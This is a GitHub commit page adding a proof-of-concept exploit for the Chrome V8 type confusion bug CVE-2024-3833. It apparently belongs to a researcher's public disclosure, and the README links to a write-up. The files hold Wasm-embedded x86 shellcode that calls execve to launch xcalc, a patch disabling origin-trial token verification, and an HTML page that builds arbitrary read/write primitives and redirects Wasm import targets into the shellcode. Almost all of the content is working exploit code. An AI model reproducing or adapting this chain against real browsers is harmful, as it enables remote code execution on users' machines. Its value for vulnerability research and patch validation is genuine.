Skip to content

Commit

Permalink
Initial commit
Browse files Browse the repository at this point in the history
  • Loading branch information
m-y-mo committed Jun 25, 2024
1 parent e4ac818 commit c9321da
Show file tree
Hide file tree
Showing 4 changed files with 346 additions and 0 deletions.
23 changes: 23 additions & 0 deletions SecurityExploits/Chrome/v8/CVE_2024_3833/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
## V8 type confusion CVE-2024-3833

The analysis of this bug can be found [here](https://github.blog/2024-06-26-attack-of-the-clones-getting-rce-in-chromes-renderer-with-duplicate-object-properties).

The exploit here is tested on the official build of Chrome version 123.0.6312.58, on Ubuntu 22.04. The following build config was used to build Chromium:

```
is_debug = false
symbol_level = 1
blink_symbol_level = 1
dcheck_always_on = false
is_official_build = true
chrome_pgo_phase = 0
v8_symbol_level = 1
```

The bug depends on an origin trial and to emulate it locally, the patch `trial-token.patch` should be applied before building Chrome.

If successful, on Ubuntu 22.04, it should call launch `xcalc` when `wasm_poc.html` is opened in Chrome.

Shell code and some addresses may need changing on other platforms.


91 changes: 91 additions & 0 deletions SecurityExploits/Chrome/v8/CVE_2024_3833/import_shell.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,91 @@
d8.file.execute("/home/mmo/chrome_pocs/v8_test/wasm/wasm-module-builder.js");

const importObject = {
imports: { imported_func : Math.sin},
};


var builder = new WasmModuleBuilder();
let array = builder.addArray(kWasmF64, true);

var sig_index = builder.addType(kSig_d_d);

builder.addImport("imports", "imported_func", sig_index);
builder.addFunction("main", sig_index)
.addBody([kExprLocalGet, 0, kExprCallFunction, 0])
.exportAs("main");
//jumps: 0x45, 0x48 for d8
//0x1d, 0x20 for chrome
builder.addFunction("make_array", makeSig([], [wasmRefNullType(array)]))
.addLocals(wasmRefNullType(array), 1)
.addBody([kExprI32Const, 18, kGCPrefix, kExprArrayNewDefault, array, kExprLocalSet, 0,
kExprLocalGet, 0,
kExprI32Const, 0,
kExprF64Const, 0x31, 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0xeb, 0x1d,
kGCPrefix, kExprArraySet, array,
kExprLocalGet, 0,
kExprI32Const, 1,
kExprF64Const, 0x68, 0x6c, 0x63, 0x00, 0x00, 0x90, 0xeb, 0x20,
kGCPrefix, kExprArraySet, array,
kExprLocalGet, 0,
kExprI32Const, 2,
kExprF64Const, 0x68, 0x2f, 0x78, 0x63, 0x61, 0x58, 0xeb, 0x20,
kGCPrefix, kExprArraySet, array,
kExprLocalGet, 0,
kExprI32Const, 3,
kExprF64Const, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x5b, 0xeb, 0x20,
kGCPrefix, kExprArraySet, array,
kExprLocalGet, 0,
kExprI32Const, 4,
kExprF64Const, 0x90, 0x90, 0x48, 0xc1, 0xe0, 0x20, 0xeb, 0x20,
kGCPrefix, kExprArraySet, array,
kExprLocalGet, 0,
kExprI32Const, 5,
kExprF64Const, 0x48, 0x01, 0xd8, 0x50, 0x54, 0x5f, 0xeb, 0x20,
kGCPrefix, kExprArraySet, array,
kExprLocalGet, 0,
kExprI32Const, 6,
kExprF64Const, 0x56, 0x57, 0x54, 0x5e, 0x90, 0x90, 0xeb, 0x20,
kGCPrefix, kExprArraySet, array,
kExprLocalGet, 0,
kExprI32Const, 7,
kExprF64Const, 0x68, 0x3a, 0x30, 0x2e, 0x30, 0x90, 0xeb, 0x20,
kGCPrefix, kExprArraySet, array,
kExprLocalGet, 0,
kExprI32Const, 8,
kExprF64Const, 0x68, 0x4c, 0x41, 0x59, 0x3d, 0x58, 0xeb, 0x20,
kGCPrefix, kExprArraySet, array,
kExprLocalGet, 0,
kExprI32Const, 9,
kExprF64Const, 0x68, 0x44, 0x49, 0x53, 0x50, 0x5b, 0xeb, 0x20,
kGCPrefix, kExprArraySet, array,
kExprLocalGet, 0,
kExprI32Const, 10,
kExprF64Const, 0x90, 0x48, 0xc1, 0xe0, 0x20, 0x90, 0xeb, 0x20,
kGCPrefix, kExprArraySet, array,
kExprLocalGet, 0,
kExprI32Const, 11,
kExprF64Const, 0x48, 0x01, 0xd8, 0x50, 0x54, 0x90, 0xeb, 0x20,
kGCPrefix, kExprArraySet, array,
kExprLocalGet, 0,
kExprI32Const, 12,
kExprF64Const, 0x41, 0x5a, 0x52, 0x41, 0x52, 0x54, 0xeb, 0x20,
kGCPrefix, kExprArraySet, array,
kExprLocalGet, 0,
kExprI32Const, 13,
kExprF64Const, 0x5a, 0xb8, 0x3b, 0x00, 0x00, 0x00, 0xeb, 0x20,
kGCPrefix, kExprArraySet, array,
kExprLocalGet, 0,
kExprI32Const, 14,
kExprF64Const, 0x0f, 0x05, 0x5a, 0x31, 0xd2, 0x52, 0xeb, 0x20,
kGCPrefix, kExprArraySet, array,
kExprLocalGet, 0])
.exportFunc();

var wasmBuffer = builder.toBuffer(false);
var bufStr = '['
for (let i = 0; i < wasmBuffer.length - 1; i++) {
bufStr += wasmBuffer[i] + ',';
}
bufStr += wasmBuffer[wasmBuffer.length - 1] + ']';
console.log(bufStr);
31 changes: 31 additions & 0 deletions SecurityExploits/Chrome/v8/CVE_2024_3833/trial-token.patch
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
diff --git a/third_party/blink/common/origin_trials/trial_token.cc b/third_party/blink/common/origin_trials/trial_token.cc
index e3a28923fce19..70c24dd445066 100644
--- a/third_party/blink/common/origin_trials/trial_token.cc
+++ b/third_party/blink/common/origin_trials/trial_token.cc
@@ -116,6 +116,17 @@ OriginTrialTokenStatus TrialToken::Extract(
std::string* out_token_payload,
std::string* out_token_signature,
uint8_t* out_token_version) {
+
+ if (token_text.length() > kMaxTokenSize || public_key.size() == 0 || token_text.length() < kPayloadOffset) {
+ return OriginTrialTokenStatus::kMalformed;
+ }
+
+ *out_token_payload = token_text;
+ *out_token_signature = "1234";
+ *out_token_version = kVersion2;
+ return OriginTrialTokenStatus::kSuccess;;
+
+/*
if (token_text.empty()) {
return OriginTrialTokenStatus::kMalformed;
}
@@ -178,6 +189,7 @@ OriginTrialTokenStatus TrialToken::Extract(
*out_token_payload = token_contents.substr(kPayloadOffset, payload_length);
*out_token_signature = std::string(signature);
return OriginTrialTokenStatus::kSuccess;
+ */
}

// static
--
201 changes: 201 additions & 0 deletions SecurityExploits/Chrome/v8/CVE_2024_3833/wasm_poc.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,201 @@
<html>
<body>
<script>
const importObject = {
imports: { imported_func : Math.sin},
};

var tag = new WebAssembly.Tag({parameters : ["i32", "i64"]});
//Generated using import_shell.js
var wasmBuffer = new Uint8Array([0,97,115,109,1,0,0,0,1,16,3,80,0,94,124,1,96,1,124,1,124,96,0,1,99,0,2,25,1,7,105,109,112,111,114,116,115,13,105,109,112,111,114,116,101,100,95,102,117,110,99,0,1,3,3,2,1,2,7,21,2,4,109,97,105,110,0,1,10,109,97,107,101,95,97,114,114,97,121,0,2,10,136,2,2,6,0,32,0,16,0,11,254,1,1,1,99,0,65,18,251,7,0,33,0,32,0,65,0,68,49,246,49,210,49,192,235,29,251,14,0,32,0,65,1,68,104,108,99,0,0,144,235,32,251,14,0,32,0,65,2,68,104,47,120,99,97,88,235,32,251,14,0,32,0,65,3,68,104,47,98,105,110,91,235,32,251,14,0,32,0,65,4,68,144,144,72,193,224,32,235,32,251,14,0,32,0,65,5,68,72,1,216,80,84,95,235,32,251,14,0,32,0,65,6,68,86,87,84,94,144,144,235,32,251,14,0,32,0,65,7,68,104,58,48,46,48,144,235,32,251,14,0,32,0,65,8,68,104,76,65,89,61,88,235,32,251,14,0,32,0,65,9,68,104,68,73,83,80,91,235,32,251,14,0,32,0,65,10,68,144,72,193,224,32,144,235,32,251,14,0,32,0,65,11,68,72,1,216,80,84,144,235,32,251,14,0,32,0,65,12,68,65,90,82,65,82,84,235,32,251,14,0,32,0,65,13,68,90,184,59,0,0,0,235,32,251,14,0,32,0,65,14,68,15,5,90,49,210,82,235,32,251,14,0,32,0,11,0,26,4,110,97,109,101,1,19,2,1,4,109,97,105,110,2,10,109,97,107,101,95,97,114,114,97,121]
);
var view = new ArrayBuffer(24);
var dblArr = new Float64Array(view);
var intView = new Uint32Array(view);
var bigIntView = new BigInt64Array(view);

function ftoi32(f) {
dblArr[0] = f;
return [intView[0], intView[1]];
}

function i32tof(i1, i2) {
intView[0] = i1;
intView[1] = i2;
return dblArr[0];
}

function itof(i) {
bigIntView = BigInt(i);
return dblArr[0];
}

function ftoi(f) {
dblArr[0] = f;
return bigIntView[0];
}

function addrOf(obj, dblOffset) {
oobObjArr[0] = obj;
if (dblOffset % 2 == 0) {
var addrDbl = oobDblArr[dblOffset/2];
return ftoi32(addrDbl)[0] - 8;
}
var addrDbl = oobDblArr[(dblOffset - 1)/2];
return ftoi32(addrDbl)[1] - 8;
}

function read(addr, dblArrOffset) {
var oldValue = oobDblArr[dblArrOffset];
oobDblArr[dblArrOffset] = i32tof(addr, 8);
var out = ftoi32(oobDblArr2[0]);
oobDblArr[dblArrOffset] = oldValue;
return out;
}

function write(addr, val1, val2, dblArrOffset) {
var oldValue = oobDblArr[dblArrOffset];
oobDblArr[dblArrOffset] = i32tof(addr, 8);
oobDblArr2[0] = i32tof(val1, val2);
oobDblArr[dblArrOffset] = oldValue;
return;
}

function searchByteArray(byteArrayMap, start, length) {
for (let thisAddr = start; thisAddr < start + length; thisAddr += 4) {
var val = read(thisAddr, dblOffset);
if (val[0] == byteArrayMap) {
return thisAddr + 8;
}
}
}


function clone0(x) {
return {...x};
}

function set_length(x) {
x.c4.len = 1000;
}

var obj0 = {c0 : 0, c1 : 1, c2 : 2, c3 : 3};
obj0.c4 = {len : 1};
var obj1 = {c0 : 0, c1 : 1, c2 : 2, c3 : 3};
obj1.c4 = {len : 1};
for (let i = 0; i < 20; i++) {
clone0(obj0);
}
set_length(obj1);
for (let i = 0; i < 20000; i++) {
set_length(obj0);
}

var a8 = {c : 1};
var a7 = clone0(obj0);

function transition_store(x) {
x.a7 = 0x100;
}
//PropertyArray
function transition_store2(x) {
x.a8 = a8;
}

function clone(x) {
return {...x};
}

var x = WebAssembly.Tag.prototype;
x.type = {};
x.a1 = 1;
delete x.constructor;
delete x[Symbol.toStringTag];
x.a2 = 1;
x.a3 = 1;
x.a4 = 1;
x.a5 = 1;
x.a6 = 1;
var y = {};
y.__proto__ = x;
meta = document.createElement('meta');
meta.httpEquiv = 'Origin-Trial';
meta.content = '{"origin" : "http://localhost:8000", "feature": "WebAssemblyJSPromiseIntegration", "expiry": 1719702000}';
document.head.appendChild(meta);
y.a = 1;
z = y.a;
var obj = {...x};
obj.type = 1;
for (let i = 1; i < 7; i++) {
obj['a'+i] = {a : 1};
}
for (let i = 0; i < 20; i++) {
obj = clone(x);
}
obj.x = 1;
var obj2 = {...obj};
var obj3 = {...obj};
var val = {c : 1};
transition_store(obj3);
transition_store2(obj3);
for (let i = 0; i < 20000; i++) {
var tmp = {...obj2};
transition_store(tmp);
transition_store2(tmp);
}
obj = clone(x);
obj.x = 1;
transition_store(obj);
transition_store2(obj);
var oobDblArr = [1.1];
var oobObjArr = [view, 0x42, 0x43];
oobObjArr[0] = 0x41;
var oobDblArr2 = [1, 1.5, 2, 2.5];
for (let i = 9; i < 15; i++) {
obj['a' + i] = oobDblArr;
}
set_length(a7);
var dblOffset = null;
for (let i = 0; i < 20; i++) {
var elem = ftoi32(oobDblArr[i]);
if (elem[0] == 6 && elem[1] == 2 * 0x41) {
let next = ftoi32(oobDblArr[i + 1]);
if (next[0] == 2 * 0x42 && next[1] == 2 * 0x43) {
dblOffset = 2 * i + 1;
}
} else if (elem[1] == 6) {
let next = ftoi32(oobDblArr[i + 1]);
if (next[0] == 2 * 0x41 && next[1] == 2 * 0x42) {
dblOffset = 2 * (i + 1);
}
}
}

var oobObjAddr = addrOf(oobObjArr,dblOffset);
var oobDblAddr = addrOf(oobDblArr,dblOffset);
var oobDblAddr2 = addrOf(oobDblArr2,dblOffset);
var dblIndexOffset = Math.floor((oobDblAddr2 - oobDblAddr - 0x18)/8);

var tagAddr = addrOf(tag, dblOffset);
var byteArray = read(tagAddr + 12, dblIndexOffset)[0];
var byteArrayMap = read(byteArray - 8, dblIndexOffset)[0];

var module = new WebAssembly.Module(wasmBuffer);
var tmpObj = {};
var instance = new WebAssembly.Instance(module, importObject);
var moduleAddr = addrOf(tmpObj, dblOffset);
var importTargets = searchByteArray(byteArrayMap, moduleAddr + 200, 40);
var instr_start = read(importTargets, dblIndexOffset);

var msg = 'importTargets: 0x' + importTargets.toString(16) + ' instr_start: 0x' + instr_start[1].toString(16) + instr_start[0].toString(16);
var func = instance.exports.make_array;
func();

write(importTargets, instr_start[0] + 0xe + 0x100, instr_start[1], dblIndexOffset);
var exported = instance.exports.main;
exported();
exported();

</script>
</body>
</html>

0 comments on commit c9321da

Please sign in to comment.